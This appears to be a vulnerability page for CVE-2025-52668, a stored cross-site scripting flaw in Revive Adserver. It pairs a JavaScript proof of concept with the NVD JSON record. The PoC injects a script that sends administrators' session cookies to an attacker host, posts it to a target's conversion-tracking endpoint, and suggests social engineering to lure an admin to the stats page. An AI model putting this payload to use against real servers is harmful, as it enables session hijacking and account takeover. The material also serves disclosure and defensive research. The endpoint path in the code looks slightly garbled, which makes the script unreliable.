CVE-2025-52668

// CVE-2025-52668 PoC - Stored XSS in Revive Adserver stats-conversions.php // This PoC demonstrates the injection of malicious JavaScript through conversion tracking const payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Step 1: Prepare malicious conversion tracking data const maliciousData = { conversion_id: '12345', advertiser_id: '100', campaign_id: '200', // Inject XSS payload in conversion data fields conversion_value: payload, conversion_type: 'purchase', timestamp: new Date().toISOString() }; // Step 2: Send malicious data to conversion tracking endpoint fetch('https://target-server/revive-adserver/track conversions.php', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(maliciousData) }) .then(response => console.log('Payload sent successfully')) .catch(error => console.error('Error:', error)); // Step 3: Social engineering to get admin to visit stats page // When admin visits /stats-conversions.php, the script executes // Cookie stealing payload: document.location='https://attacker.com/log?c='+document.cookie

{"cve": {"id": "CVE-2025-52668", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:22.987", "lastModified": "2025-12-02T20:19:57.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input neutralization in the stats-conversions.php script in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes potential information disclosure and session hijacking via a stored XSS attack."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.2", "matchCriteriaId": "47AC2D81-BA0C-404A-B6F6-31151956D422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1", "matchCriteriaId": "42E4B7BD-5F7B-4FBE-93D2-C19F30FA5A51"}]}]}], "references": [{"url": "https://hackerone.com/reports/3400506", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3400506", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}